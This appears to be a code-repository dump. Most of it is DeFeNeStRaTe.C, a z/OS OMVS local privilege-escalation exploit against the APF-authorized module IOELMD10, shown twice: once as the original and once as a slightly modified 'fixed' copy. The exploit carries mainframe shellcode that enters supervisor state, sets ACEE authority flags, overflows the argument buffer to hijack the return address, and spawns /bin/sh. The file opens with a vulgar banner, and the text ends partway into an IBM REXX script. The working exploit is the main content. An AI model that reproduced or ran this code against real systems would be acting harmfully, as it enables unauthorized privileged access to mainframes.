292 | &ExitAddr, &ExitParamListAddr, 293 | &RetVal, &RetCode, &RsnCode); 294 | 295 | fprintf(stderr, "exec (OMVS BPX1EXC) failed; RetVal %d, Errno %u, RsnCode X'%x'. \n", RetVal, RetCode, RsnCode); 296 | if (RetVal != 0 && RetCode != 0) fprintf(stderr, "exec (OMVS BPX1EXC): %s\n", strerror(RetCode)); 297 | 298 | return 0; 299 | } 300 | -------------------------------------------------------------------------------- /DeFeNeStRaTe.C: -------------------------------------------------------------------------------- 1 | /* 2 | * oooOOOOOOOOOOO" - one mantrain loaded with PWNAGE! 3 | * o ____ :::::::::::::::::::: ::::::::::::::::: __|-----|__ 4 | * Y_,_|[]| --++++++ | WHiTEHATS GETTiN | | iT UP THE ASS | | [] [] | - since 2001 5 | * {|_|_|__|;|______|;;|__________________|;;|_______________|;;|_________|; 6 | * /oo--OOoo oo oo oo oo oo oo oo oo oo oo oo 7 | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 8 | * :MANTRAiN: pRouDLy PeRVeRZeDLy pReSeNTz ... DeFeNeStRaTe.C!@# 9 | * - PART OF PROJECT zER/oDAYs - MAiNTRAiNING MANFRAMEZ 2 OuTAPT THE CHiNESE 10 | * z/OS OMVS local exploit for APF authorized load module IOELMD10 8===D APF 4 APT 8===D 11 | * 12 | */ 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #define VICTIM "/usr/lpp/dfs/global/bin/IBM/IOELMD10" 20 | #define OVERLAY_R14_ADDR_SKEW_BYTES 1 21 | 22 | #define NUM_ARGS 1 23 | #define ARG_LEN 0x1000 24 | #define ARG_SIZE 0x2000 25 | 26 | #define NUM_ENVS 1 27 | #define ENV_LEN 0x1000 28 | #define ENV_SIZE 0x2000 29 | 30 | #define R0 0 31 | #define R1 1 32 | #define R2 2 33 | #define R3 3 34 | #define R4 4 35 | #define R5 5 36 | #define R6 6 37 | #define R7 7 38 | #define R8 8 39 | #define R9 9 40 | #define R10 10 41 | #define R11 11 42 | #define R12 12 43 | #define R13 13 44 | #define R14 14 45 | #define R15 15 46 | 47 | #define INS_RR(C,X,Y) (C), ( ((X)&0xf) <<4 ) | ( (Y)&0xf ) 48 | #define INS_RX(C,X,Y,Z) (C),(((X)&0xf)<<4),((((Y)&0xf)<<4)|(((Z)>>8)&0xf)), ((Z)&0xff) 49 | 50 | #define SubReg(X,Y) INS_RR( 0x1b, (X), (Y) ) 51 | #define AddReg(X,Y) INS_RR( 0x1a, (X), (Y) ) 52 | #define OrImmLowLow(X,Y) 0xa5,0x0b|( ( (X)&0xf ) <<4),( ( (Y) >>8 )&0xff ),( (Y) &0xff ) 53 | 54 | #define SVC(X) 0x0a,((X)&0xff) 55 | 56 | #define BranchAndLinkReg(X,Y) INS_RR(0x05, (X), (Y) ) 57 | #define BranchAndStackReg(X,Y) INS_RR(0x0D, (X), (Y) ) 58 | 59 | #define BranchRelativeAndSave(X,Y) 0xa7,( (( (X)&0xf )<<4)|5),(((Y)>>8)&0xff),((Y)&0xff) 60 | 61 | 62 | #define LoadReg(X,Y) INS_RR(0x18, (X), (Y)) 63 | #define StoreReg(X,Y,Z) INS_RX(0x50,(X),(Y),(Z)) 64 | #define StoreChar(X,Y,Z) INS_RX(0x42,(X),(Y),(Z)) 65 | #define Load(X,Y,Z) INS_RX(0x58,(X),(Y),(Z)) 66 | #define LoadHalfwordImm(X,Y) 0xa7,( (( (X)&0xf )<<4)|8),(((Y)>>8)&0xff),((Y)&0xff) 67 | #define ShiftRightLogical(X,Y,Z) 0x88,(((X)&0xf)<<4),(((Y)&0xf)<<4)|(((Z)>>8)&0xf),((Z)&0xff) 68 | 69 | 70 | #define HCF_STUX() 0xf0,0x0f,0xc7,0xc8 71 | #define HCF_ZERO() 0x00,0x00,0x00,0x00 72 | 73 | #define NOP() SR_Rx_Ry(9,9) 74 | 75 | 76 | 77 | #define FOURCC(A,B,C,D) ( (unsigned int)(((A)<<24)|((B)<<16)|((C)<<8)|((D)&0xff))&0xffFFffFF) ) 78 | 79 | 80 | unsigned char shellcode_full[] = 81 | { 82 | SubReg(R1,R1), 83 | LoadHalfwordImm(R1,0x3c), 84 | SVC(0x6b), /* MODESET MODE=SUP,KEY=ZERO */ 85 | 86 | Load(R15,0,0x0224), /* ASCBPVT */ 87 | Load(R15,R15,0x6c), /* ASCBASXB */ 88 | Load(R15,R15,0xc8), /* ASXBACEE */ 89 | 90 | LoadHalfwordImm(R1,0x0303), 91 | StoreChar(R1,R15,38), /* X'03' => ACEEFLG1 */ 92 | 93 | SubReg(R1,R1), 94 | LoadHalfwordImm(R1,0x24), 95 | SVC(0x6b), /* MODESET MODE=PROB,KEY=NZERO */ 96 | 97 | Load(R15,0,0x10), /* CVT */ 98 | Load(R15,R15,544), /* CVTCSRT */ 99 | Load(R15,R15,24), /* CSR slot */ 100 | Load(R15,R15,228), /* BPX1EXC */ 101 | 102 | SubReg(R14,R14), /* 0 => R14; ret addr of BPX1EXC */ 103 | BranchAndSaveReg(R1,R15), /* params => R1; invoke BPX1EXC */ 104 | 105 | }; 106 | 107 | struct _shellcode_BPX1EXC_Params 108 | { 109 | void *pPathLen; 110 | void *pPathName; 111 | void *pArgCount; 112 | void *pArgLenList; 113 | void *pArgDataList; 114 | void *pEnvCount; 115 | void *pEnvLenList; 116 | void *pEnvDataList; 117 | void *pExitAddr; 118 | void *pExitParamListAddr; 119 | void *pRetVal; 120 | void *pRetCode; 121 | void *pRsnCode; 122 | 123 | unsigned int PathLen; 124 | unsigned char PathName[64]; 125 | unsigned int ArgCount; 126 | unsigned int *ArgLenList[2]; 127 | unsigned char *ArgDataList[2]; 128 | unsigned int EnvCount; 129 | unsigned int *EnvLenList[2]; 130 | unsigned char *EnvDataList[2]; 131 | void *ExitAddr; 132 | void *ExitParamListAddr; 133 | unsigned int RetVal; 134 | unsigned int RetCode; 135 | unsigned int RsnCode; 136 | 137 | }; 138 | 139 | void *Build_shellcode_BPX1EXC_Params(unsigned int BaseAddr, unsigned int *pOutLen) 140 | { 141 | struct _shellcode_BPX1EXC_Params *pParams; 142 | struct _shellcode_BPX1EXC_Params *pBase; 143 | 144 | pParams = malloc(sizeof(*pParams)); 145 | memset(pParams, 0xc1, sizeof(*pParams)); 146 | 147 | pBase = (struct _shellcode_BPX1EXC_Args *)BaseAddr; 148 | 149 | pParams->pPathLen = &pBase->PathLen; 150 | pParams->pPathName = &pBase->PathName; 151 | 152 | pParams->pArgCount = &pBase->ArgCount; 153 | pParams->pArgLenList = &pBase->ArgLenList; 154 | pParams->pArgDataList = &pBase->ArgDataList; 155 | 156 | pParams->pEnvCount = &pBase->EnvCount; 157 | pParams->pEnvLenList = &pBase->EnvLenList; 158 | pParams->pEnvDataList = &pBase->EnvDataList; 159 | 160 | pParams->pExitAddr = &pBase->ExitAddr; 161 | pParams->pExitParamListAddr = &pBase->ExitParamListAddr; 162 | 163 | pParams->pRetVal = &pBase->RetVal; 164 | pParams->pRetCode = &pBase->RetCode; 165 | pParams->pRsnCode = &pBase->RsnCode; 166 | 167 | 168 | memset(pParams->PathName, 0, sizeof(pParams->PathName)); 169 | memcpy(pParams->PathName, "/bin/sh", 7); 170 | pParams->PathLen = 7; 171 | 172 | pParams->ArgCount = 1; 173 | pParams->ArgLenList[0] = &pBase->PathLen; 174 | pParams->ArgLenList[1] = NULL; 175 | pParams->ArgDataList[0] = &pBase->PathName; 176 | pParams->ArgDataList[1] = NULL; 177 | pParams->EnvCount = 0; 178 | pParams->EnvLenList[0] = pParams->EnvLenList[1] = NULL; 179 | pParams->EnvDataList[0] = pParams->EnvLenList[1] = NULL; 180 | pParams->ExitAddr = pParams->ExitParamListAddr = NULL; 181 | 182 | pParams->RetVal = pParams->RetCode = pParams->RsnCode = 0xdeadbabe; 183 | 184 | if (pOutLen != NULL) *pOutLen = sizeof(*pParams); 185 | 186 | return pParams; 187 | } 188 | 189 | 190 | typedef void BPXSVC(); 191 | #pragma linkage(BPXSVC,OS) 192 | /* 228 */ 193 | void (*BPX1EXC)( unsigned int *Pathname_length, 194 | unsigned char *Pathname, 195 | unsigned int *Argument_count, 196 | unsigned int *Argument_length_list, 197 | unsigned char **Argument_list, 198 | unsigned int *Environment_count, 199 | unsigned int *Environment_data_length, 200 | unsigned char **Environment_data_list, 201 | void (*Exit_routine_address)(), 202 | void *Exit_parameter_list_address, 203 | unsigned int *Return_value, 204 | unsigned int *Return_code, 205 | unsigned int *Reason_code); 206 | 207 | #define STARTWALK(PTR) do { (PTR) = (unsigned char *)0; } while (0) 208 | #define WALK(PTR,OFF) do { memcpy( &(PTR), &(PTR)[(OFF)], sizeof(PTR) ); } while (0) 209 | #define SETPTR(DST,SRC,OFF) do { memcpy( &(DST), &(SRC)[(OFF)], sizeof(DST) ); } while (0) 210 | 211 | void ResolveImports(void) 212 | { 213 | unsigned char *cp; 214 | 215 | STARTWALK(cp); 216 | WALK(cp, 16); /* CVT */ 217 | WALK(cp, 544); /* CSRTABLE */ 218 | WALK(cp, 24); /* CSR slot */ 219 | SETPTR(BPX1EXC, cp, 228); 220 | printf("BPX1EXC resolved to %p\n", BPX1EXC); 221 | } 222 | 223 | unsigned char ArgBuf[ARG_SIZE]; 224 | unsigned char *ArgDataList[NUM_ARGS]; 225 | unsigned int ArgCount, *ArgLenList[NUM_ARGS]; 226 | unsigned char *EnvDataList[NUM_ARGS]; 227 | unsigned int *EnvLenList[NUM_ARGS]; 228 | unsigned int EnvCount; 229 | unsigned char *PathName; 230 | unsigned int PathLen; 231 | void (*ExitAddr)(); 232 | void *ExitParamList[] = { NULL }; 233 | void *ExitParamListAddr; 234 | unsigned int RetVal; 235 | unsigned int RetCode; 236 | unsigned int RsnCode; 237 | 238 | unsigned int OverlayR14Addr; 239 | unsigned int PayloadAddr, PayloadParamsAddr, OverlayR14Addr; 240 | void *pPayloadParams; 241 | unsigned int PayloadParamsLen; 242 | 243 | 244 | 245 | 246 | 247 | void sighandler(int sig) 248 | { 249 | printf("got sig %d\n", sig); 250 | } 251 | 252 | extern char **environ; 253 | 254 | 255 | int main(int argc, char *argv[]) 256 | { 257 | unsigned int i; 258 | unsigned char *pszLibPath; 259 | 260 | ArgCount = NUM_ARGS; 261 | EnvCount = NUM_ARGS; 262 | 263 | 264 | PayloadAddr = (unsigned int)environ[0]; 265 | printf("addr of environ base is X'%.8X'\n", PayloadAddr); 266 | PayloadAddr += 8 + 2; 267 | PayloadParamsAddr = OverlayR14Addr = PayloadAddr; 268 | OverlayR14Addr |= 0x80000000; 269 | printf("payload addr is X'%.8X'; R14 overlay addr is X'%.8X'\n", PayloadAddr, OverlayR14Addr); 270 | 271 | OverlayR14Addr = ((OverlayR14Addr >> (8*OVERLAY_R14_ADDR_SKEW_BYTES)) )|(( OverlayR14Addr ) << (32-(8*OVERLAY_R14_ADDR_SKEW_BYTES))); 272 | #if 0 273 | printf("%.8x\n", OverlayR14Addr); 274 | printf("%.2X %.2X %.2X %.2X\n", ((unsigned char *)&OverlayR14Addr)[0], ((unsigned char *)&OverlayR14Addr)[1], ((unsigned char *)&OverlayR14Addr)[2], ((unsigned char *)&OverlayR14Addr)[3]); 275 | #endif 276 | 277 | 278 | 279 | ArgDataList[0] = malloc(ARG_SIZE+1); 280 | ArgLenList[0] = malloc(sizeof(unsigned int)); 281 | *ArgLenList[0] = ARG_LEN; 282 | i = 0; 283 | if ((ARG_LEN&3)!=0) 284 | { 285 | *(unsigned int *)(ArgDataList[0]) = *(unsigned int *)"bBcC"; 286 | i += 3-(ARG_LEN&3); 287 | } 288 | while (i < ARG_LEN) 289 | { 290 | *(unsigned int *)(ArgDataList[0] + i) = OverlayR14Addr; 291 | i += 4; 292 | } 293 | 294 | 295 | 296 | 297 | EnvDataList[0] = malloc(8+4+2+ENV_SIZE+1); 298 | EnvLenList[0] = malloc(sizeof(unsigned int)); 299 | *EnvLenList[0] = ENV_LEN; 300 | i = 0; 301 | memcpy(EnvDataList[0], "PAYLOAD=", 8); i += 8; 302 | 303 | EnvDataList[0][i ++] = '2'; 304 | EnvDataList[0][i ++] = '3'; 305 | 306 | memcpy(EnvDataList[0] + i, shellcode_full, sizeof(shellcode_full)); i += sizeof(shellcode_full); 307 | PayloadParamsAddr = (unsigned int)environ[0] + i; 308 | printf("payload params addr: X'%.8X'\n", PayloadParamsAddr); 309 | 310 | 311 | pPayloadParams = Build_shellcode_BPX1EXC_Params(PayloadParamsAddr, &PayloadParamsLen); 312 | printf("payload params len: %u\n", PayloadParamsLen); 313 | 314 | memcpy(EnvDataList[0] + i, pPayloadParams, PayloadParamsLen); i += PayloadParamsLen; 315 | 316 | while (i <= ENV_LEN - 4) 317 | { 318 | *(unsigned int *)(EnvDataList[0] + i) = 0xf00fc7c8; 319 | i += 4; 320 | } 321 | 322 | while (i < ENV_LEN) EnvDataList[0][i ++] = "pP"[i&1]; 323 | 324 | 325 | ArgCount = EnvCount = 1; 326 | 327 | PathName = (memcmp(environ[0], "PAYLOAD=", 8) == 0)? strdup(VICTIM) : argv[0]; 328 | PathLen = strlen(PathName); 329 | 330 | ExitAddr = NULL; 331 | ExitParamListAddr = ExitParamList; 332 | RetVal = RetCode = RsnCode = 0xdeadbeef; 333 | 334 | ResolveImports(); 335 | 336 | printf("execing %s\n", PathName); 337 | 338 | ((BPXSVC *)BPX1EXC)( 339 | &PathLen, &PathName[0], 340 | &ArgCount, ArgLenList, ArgDataList, 341 | &EnvCount, EnvLenList, EnvDataList, 342 | &ExitAddr, &ExitParamListAddr, 343 | &RetVal, &RetCode, &RsnCode); 344 | fprintf(stderr, "exec (OMVS BPX1EXC) failed; RetVal %d, Errno %u, RsnCode X'%x'. \n", RetVal, RetCode, RsnCode); 345 | if (RetVal != 0 && RetCode != 0) fprintf(stderr, "exec (OMVS BPX1EXC): %s\n", strerror(RetCode)); 346 | 347 | return 0; 348 | } 349 | -------------------------------------------------------------------------------- /fixed/DeFeNeStRaTe.C: -------------------------------------------------------------------------------- 1 | /* 2 | * oooOOOOOOOOOOO" - one mantrain loaded with PWNAGE! 3 | * o ____ :::::::::::::::::::: ::::::::::::::::: __|-----|__ 4 | * Y_,_|[]| --++++++ | WHiTEHATS GETTiN | | iT UP THE ASS | | [] [] | - since 2001 5 | * {|_|_|__|;|______|;;|__________________|;;|_______________|;;|_________|; 6 | * /oo--OOoo oo oo oo oo oo oo oo oo oo oo oo 7 | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 8 | * :MANTRAiN: pRouDLy PeRVeRZeDLy pReSeNTz ... DeFeNeStRaTe.C!@# 9 | * - PART OF PROJECT zER/oDAYs - MAiNTRAiNING MANFRAMEZ 2 OuTAPT THE CHiNESE 10 | * z/OS OMVS local exploit for APF authorized load module IOELMD10 8===D APF 4 APT 8===D 11 | * 12 | * Modified (slightly) by SoF 13 | */ 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #define VICTIM "/usr/lpp/dfs/global/bin/IBM/IOELMD10" 21 | #define OVERLAY_R14_ADDR_SKEW_BYTES 1 22 | 23 | #define NUM_ARGS 1 24 | #define ARG_LEN 0x1000 25 | #define ARG_SIZE 0x2000 26 | 27 | #define NUM_ENVS 1 28 | #define ENV_LEN 0x1000 29 | #define ENV_SIZE 0x2000 30 | 31 | #define R0 0 32 | #define R1 1 33 | #define R2 2 34 | #define R3 3 35 | #define R4 4 36 | #define R5 5 37 | #define R6 6 38 | #define R7 7 39 | #define R8 8 40 | #define R9 9 41 | #define R10 10 42 | #define R11 11 43 | #define R12 12 44 | #define R13 13 45 | #define R14 14 46 | #define R15 15 47 | 48 | #define INS_RR(C,X,Y) (C), ( ((X)&0xf) <<4 ) | ( (Y)&0xf ) 49 | #define INS_RX(C,X,Y,Z) (C),(((X)&0xf)<<4),((((Y)&0xf)<<4)|(((Z)>>8)&0xf)), ((Z)&0xff) 50 | 51 | #define SubReg(X,Y) INS_RR( 0x1b, (X), (Y) ) 52 | #define AddReg(X,Y) INS_RR( 0x1a, (X), (Y) ) 53 | #define OrImmLowLow(X,Y) 0xa5,0x0b|( ( (X)&0xf ) <<4),( ( (Y) >>8 )&0xff ),( (Y) &0xff ) 54 | 55 | #define SVC(X) 0x0a,((X)&0xff) 56 | 57 | #define BranchAndLinkReg(X,Y) INS_RR(0x05, (X), (Y) ) 58 | #define BranchAndSaveReg(X,Y) INS_RR(0x0D, (X), (Y) ) 59 | 60 | #define BranchRelativeAndSave(X,Y) 0xa7,( (( (X)&0xf )<<4)|5),(((Y)>>8)&0xff),((Y)&0xff) 61 | 62 | 63 | #define LoadReg(X,Y) INS_RR(0x18, (X), (Y)) 64 | #define StoreReg(X,Y,Z) INS_RX(0x50,(X),(Y),(Z)) 65 | #define StoreChar(X,Y,Z) INS_RX(0x42,(X),(Y),(Z)) 66 | #define Load(X,Y,Z) INS_RX(0x58,(X),(Y),(Z)) 67 | #define LoadHalfwordImm(X,Y) 0xa7,( (( (X)&0xf )<<4)|8),(((Y)>>8)&0xff),((Y)&0xff) 68 | #define ShiftRightLogical(X,Y,Z) 0x88,(((X)&0xf)<<4),(((Y)&0xf)<<4)|(((Z)>>8)&0xf),((Z)&0xff) 69 | 70 | 71 | #define HCF_STUX() 0xf0,0x0f,0xc7,0xc8 72 | #define HCF_ZERO() 0x00,0x00,0x00,0x00 73 | 74 | #define NOP() SR_Rx_Ry(9,9) 75 | 76 | 77 | 78 | #define FOURCC(A,B,C,D) ( (unsigned int)(((A)<<24)|((B)<<16)|((C)<<8)|((D)&0xff))&0xffFFffFF) ) 79 | 80 | 81 | unsigned char shellcode_full[] = 82 | { 83 | SubReg(R1,R1), 84 | LoadHalfwordImm(R1,0x3c), 85 | SVC(0x6b), /* MODESET MODE=SUP,KEY=ZERO */ 86 | 87 | Load(R15,0,0x0224), /* ASCBPVT */ 88 | Load(R15,R15,0x6c), /* ASCBASXB */ 89 | Load(R15,R15,0xc8), /* ASXBACEE */ 90 | 91 | LoadHalfwordImm(R1,0x0303), 92 | StoreChar(R1,R15,38), /* X'03' => ACEEFLG1 */ 93 | 94 | SubReg(R1,R1), 95 | LoadHalfwordImm(R1,0x24), 96 | SVC(0x6b), /* MODESET MODE=PROB,KEY=NZERO */ 97 | 98 | Load(R15,0,0x10), /* CVT */ 99 | Load(R15,R15,544), /* CVTCSRT */ 100 | Load(R15,R15,24), /* CSR slot */ 101 | Load(R15,R15,228), /* BPX1EXC */ 102 | 103 | SubReg(R14,R14), /* 0 => R14; ret addr of BPX1EXC */ 104 | BranchAndSaveReg(R1,R15), /* params => R1; invoke BPX1EXC */ 105 | 106 | }; 107 | 108 | struct _shellcode_BPX1EXC_Params 109 | { 110 | void *pPathLen; 111 | void *pPathName; 112 | void *pArgCount; 113 | void *pArgLenList; 114 | void *pArgDataList; 115 | void *pEnvCount; 116 | void *pEnvLenList; 117 | void *pEnvDataList; 118 | void *pExitAddr; 119 | void *pExitParamListAddr; 120 | void *pRetVal; 121 | void *pRetCode; 122 | void *pRsnCode; 123 | 124 | unsigned int PathLen; 125 | unsigned char PathName[64]; 126 | unsigned int ArgCount; 127 | unsigned int *ArgLenList[2]; 128 | unsigned char *ArgDataList[2]; 129 | unsigned int EnvCount; 130 | unsigned int *EnvLenList[2]; 131 | unsigned char *EnvDataList[2]; 132 | void *ExitAddr; 133 | void *ExitParamListAddr; 134 | unsigned int RetVal; 135 | unsigned int RetCode; 136 | unsigned int RsnCode; 137 | 138 | }; 139 | 140 | void *Build_shellcode_BPX1EXC_Params(unsigned int BaseAddr, unsigned int *pOutLen) 141 | { 142 | struct _shellcode_BPX1EXC_Params *pParams; 143 | struct _shellcode_BPX1EXC_Params *pBase; 144 | 145 | pParams = malloc(sizeof(*pParams)); 146 | memset(pParams, 0xc1, sizeof(*pParams)); 147 | 148 | pBase = (struct _shellcode_BPX1EXC_Args *)BaseAddr; 149 | 150 | pParams->pPathLen = &pBase->PathLen; 151 | pParams->pPathName = &pBase->PathName; 152 | 153 | pParams->pArgCount = &pBase->ArgCount; 154 | pParams->pArgLenList = &pBase->ArgLenList; 155 | pParams->pArgDataList = &pBase->ArgDataList; 156 | 157 | pParams->pEnvCount = &pBase->EnvCount; 158 | pParams->pEnvLenList = &pBase->EnvLenList; 159 | pParams->pEnvDataList = &pBase->EnvDataList; 160 | 161 | pParams->pExitAddr = &pBase->ExitAddr; 162 | pParams->pExitParamListAddr = &pBase->ExitParamListAddr; 163 | 164 | pParams->pRetVal = &pBase->RetVal; 165 | pParams->pRetCode = &pBase->RetCode; 166 | pParams->pRsnCode = &pBase->RsnCode; 167 | 168 | 169 | memset(pParams->PathName, 0, sizeof(pParams->PathName)); 170 | memcpy(pParams->PathName, "/bin/sh", 7); 171 | pParams->PathLen = 7; 172 | 173 | pParams->ArgCount = 1; 174 | pParams->ArgLenList[0] = &pBase->PathLen; 175 | pParams->ArgLenList[1] = NULL; 176 | pParams->ArgDataList[0] = &pBase->PathName; 177 | pParams->ArgDataList[1] = NULL; 178 | pParams->EnvCount = 0; 179 | pParams->EnvLenList[0] = pParams->EnvLenList[1] = NULL; 180 | pParams->EnvDataList[0] = pParams->EnvLenList[1] = NULL; 181 | pParams->ExitAddr = pParams->ExitParamListAddr = NULL; 182 | 183 | pParams->RetVal = pParams->RetCode = pParams->RsnCode = 0xdeadbabe; 184 | 185 | if (pOutLen != NULL) *pOutLen = sizeof(*pParams); 186 | 187 | return pParams; 188 | } 189 | 190 | 191 | typedef void BPXSVC(); 192 | #pragma linkage(BPXSVC,OS) 193 | /* 228 */ 194 | void (*BPX1EXC)( unsigned int *Pathname_length, 195 | unsigned char *Pathname, 196 | unsigned int *Argument_count, 197 | unsigned int *Argument_length_list, 198 | unsigned char **Argument_list, 199 | unsigned int *Environment_count, 200 | unsigned int *Environment_data_length, 201 | unsigned char **Environment_data_list, 202 | void (*Exit_routine_address)(), 203 | void *Exit_parameter_list_address, 204 | unsigned int *Return_value, 205 | unsigned int *Return_code, 206 | unsigned int *Reason_code); 207 | 208 | #define STARTWALK(PTR) do { (PTR) = (unsigned char *)0; } while (0) 209 | #define WALK(PTR,OFF) do { memcpy( &(PTR), &(PTR)[(OFF)], sizeof(PTR) ); } while (0) 210 | #define SETPTR(DST,SRC,OFF) do { memcpy( &(DST), &(SRC)[(OFF)], sizeof(DST) ); } while (0) 211 | 212 | void ResolveImports(void) 213 | { 214 | unsigned char *cp; 215 | 216 | STARTWALK(cp); 217 | WALK(cp, 16); /* CVT */ 218 | WALK(cp, 544); /* CSRTABLE */ 219 | WALK(cp, 24); /* CSR slot */ 220 | SETPTR(BPX1EXC, cp, 228); 221 | printf("BPX1EXC resolved to %p\n", BPX1EXC); 222 | } 223 | 224 | unsigned char ArgBuf[ARG_SIZE]; 225 | unsigned char *ArgDataList[NUM_ARGS]; 226 | unsigned int ArgCount, *ArgLenList[NUM_ARGS]; 227 | unsigned char *EnvDataList[NUM_ARGS]; 228 | unsigned int *EnvLenList[NUM_ARGS]; 229 | unsigned int EnvCount; 230 | unsigned char *PathName; 231 | unsigned int PathLen; 232 | void (*ExitAddr)(); 233 | void *ExitParamList[] = { NULL }; 234 | void *ExitParamListAddr; 235 | unsigned int RetVal; 236 | unsigned int RetCode; 237 | unsigned int RsnCode; 238 | 239 | unsigned int OverlayR14Addr; 240 | unsigned int PayloadAddr, PayloadParamsAddr, OverlayR14Addr; 241 | void *pPayloadParams; 242 | unsigned int PayloadParamsLen; 243 | 244 | 245 | 246 | 247 | 248 | void sighandler(int sig) 249 | { 250 | printf("got sig %d\n", sig); 251 | } 252 | 253 | extern char **environ; 254 | 255 | 256 | int main(int argc, char *argv[]) 257 | { 258 | unsigned int i; 259 | unsigned char *pszLibPath; 260 | 261 | ArgCount = NUM_ARGS; 262 | EnvCount = NUM_ARGS; 263 | 264 | 265 | PayloadAddr = (unsigned int)environ[0]; 266 | printf("addr of environ base is X'%.8X'\n", PayloadAddr); 267 | PayloadAddr += 8 + 2; 268 | PayloadParamsAddr = OverlayR14Addr = PayloadAddr; 269 | OverlayR14Addr |= 0x80000000; 270 | printf("payload addr is X'%.8X'; R14 overlay addr is X'%.8X'\n", PayloadAddr, OverlayR14Addr); 271 | 272 | OverlayR14Addr = ((OverlayR14Addr >> (8*OVERLAY_R14_ADDR_SKEW_BYTES)) )|(( OverlayR14Addr ) << (32-(8*OVERLAY_R14_ADDR_SKEW_BYTES))); 273 | #if 0 274 | printf("%.8x\n", OverlayR14Addr); 275 | printf("%.2X %.2X %.2X %.2X\n", ((unsigned char *)&OverlayR14Addr)[0], ((unsigned char *)&OverlayR14Addr)[1], ((unsigned char *)&OverlayR14Addr)[2], ((unsigned char *)&OverlayR14Addr)[3]); 276 | #endif 277 | 278 | 279 | 280 | ArgDataList[0] = malloc(ARG_SIZE+1); 281 | ArgLenList[0] = malloc(sizeof(unsigned int)); 282 | *ArgLenList[0] = ARG_LEN; 283 | i = 0; 284 | if ((ARG_LEN&3)!=0) 285 | { 286 | *(unsigned int *)(ArgDataList[0]) = *(unsigned int *)"bBcC"; 287 | i += 3-(ARG_LEN&3); 288 | } 289 | while (i < ARG_LEN) 290 | { 291 | *(unsigned int *)(ArgDataList[0] + i) = OverlayR14Addr; 292 | i += 4; 293 | } 294 | 295 | 296 | 297 | 298 | EnvDataList[0] = malloc(8+4+2+ENV_SIZE+1); 299 | EnvLenList[0] = malloc(sizeof(unsigned int)); 300 | *EnvLenList[0] = ENV_LEN; 301 | i = 0; 302 | memcpy(EnvDataList[0], "PAYLOAD=", 8); i += 8; 303 | 304 | EnvDataList[0][i ++] = '2'; 305 | EnvDataList[0][i ++] = '3'; 306 | 307 | memcpy(EnvDataList[0] + i, shellcode_full, sizeof(shellcode_full)); i += sizeof(shellcode_full); 308 | PayloadParamsAddr = (unsigned int)environ[0] + i; 309 | printf("payload params addr: X'%.8X'\n", PayloadParamsAddr); 310 | 311 | 312 | pPayloadParams = Build_shellcode_BPX1EXC_Params(PayloadParamsAddr, &PayloadParamsLen); 313 | printf("payload params len: %u\n", PayloadParamsLen); 314 | 315 | memcpy(EnvDataList[0] + i, pPayloadParams, PayloadParamsLen); i += PayloadParamsLen; 316 | 317 | while (i <= ENV_LEN - 4) 318 | { 319 | *(unsigned int *)(EnvDataList[0] + i) = 0xf00fc7c8; 320 | i += 4; 321 | } 322 | 323 | while (i < ENV_LEN) EnvDataList[0][i ++] = "pP"[i&1]; 324 | 325 | 326 | ArgCount = EnvCount = 1; 327 | 328 | /* Changed by SOF 329 | PathName = (memcmp(environ[0], "PAYLOAD=", 8) == 0)? strdup(VICTIM) : argv[0]; 330 | */ 331 | if(memcmp(environ[0], "PAYLOAD=", 8) == 0) { 332 | PathName = strdup(VICTIM); 333 | } else { 334 | PathName = argv[0]; 335 | } 336 | 337 | 338 | 339 | PathLen = strlen(PathName); 340 | 341 | ExitAddr = NULL; 342 | ExitParamListAddr = ExitParamList; 343 | RetVal = RetCode = RsnCode = 0xdeadbeef; 344 | 345 | ResolveImports(); 346 | 347 | printf("execing %s\n", PathName); 348 | 349 | ((BPXSVC *)BPX1EXC)( 350 | &PathLen, &PathName[0], 351 | &ArgCount, ArgLenList, ArgDataList, 352 | &EnvCount, EnvLenList, EnvDataList, 353 | &ExitAddr, &ExitParamListAddr, 354 | &RetVal, &RetCode, &RsnCode); 355 | fprintf(stderr, "exec (OMVS BPX1EXC) failed; RetVal %d, Errno %u, RsnCode X'%x'. \n", RetVal, RetCode, RsnCode); 356 | if (RetVal != 0 && RetCode != 0) fprintf(stderr, "exec (OMVS BPX1EXC): %s\n", strerror(RetCode)); 357 | 358 | return 0; 359 | } 360 | -------------------------------------------------------------------------------- /tsocmd.rx: -------------------------------------------------------------------------------- 1 | /* rexx */ 2 | /****PROPRIETARY_STATEMENT********************************************/ 3 | /* */ 4 | /* Licensed Materials - Property of IBM */ 5 | /* 5694-A01 Copyright IBM Corp. 2010, 2010 */ 6 | /* */ 7 | /* Status = HOT7770 */ 8 | /* */ 9 | /****END_OF_PROPRIETARY_STATEMENT*************************************/ 10 | /* */ 11 | /* Source File: tsocmd (REXX) */ 12 | /* */ 13 | /* Source File Description: tsocmd runs a TSO/E command from the */ 14 | /* shell using the TSO/E TMP (IKJEFT01). Unlike the tso command, */ 15 | /* the tsocmd command can be used to issue authorized TSO/E */ 16 | /* commands. The TSO/E TMP is run in a separate address space and */ 17 | /* process from the tsocmd command, therefore any issued TSO/E */ 18 | /* commands will not affect the environment the tsocmd is issued */ 19 | /* from. */ 20 | /* */ 21 | /* */ 22 | /* Change Activity: */ 23 | /* */ 24 | /* FLAG REASON RELEASE DATE PROGRAMMER CHANGE DESCRIPTION */ 25 | /* ---- -------- ------- ------ ---------- ------------------ */ 26 | /* $A0 ME15895 HOT7770 090331 ROCH Created for DCR B780.00 */ 27 | /* */ 28 | /*********************************************************************/ 29 | 30 | /* Global variables: if needed by function, need to be on functions 31 | procedure expose statement. It can be easiest to just put on 32 | all such statements. */ 33 | catdesc = -1 /* Message catalog descriptor */ 34 | dbgLvl = 0 /* Initialize debug level to none 35 | where 36 | 0 - no debug activity 37 | 1 - get additional messaging 38 | 2 - get messages and trace all */ 39 | /* End of global variables, will also use standard ESC_N variable. */ 40 | 41 | Parse arg command /* Determine input value. */ 42 | 43 | If command = ' ' Then /* Determine if value was passed for 44 | command string. */ 45 | Do /* Do for no command data. */ 46 | Call usage /* If no data was passed, then send 47 | Usage message and exit. */ 48 | End /* End do for no command data. */ 49 | Else 50 | Do /* Do for have command data. */ 51 | dbgLvl = checkDebug(command) /* Determine debug level. */ 52 | 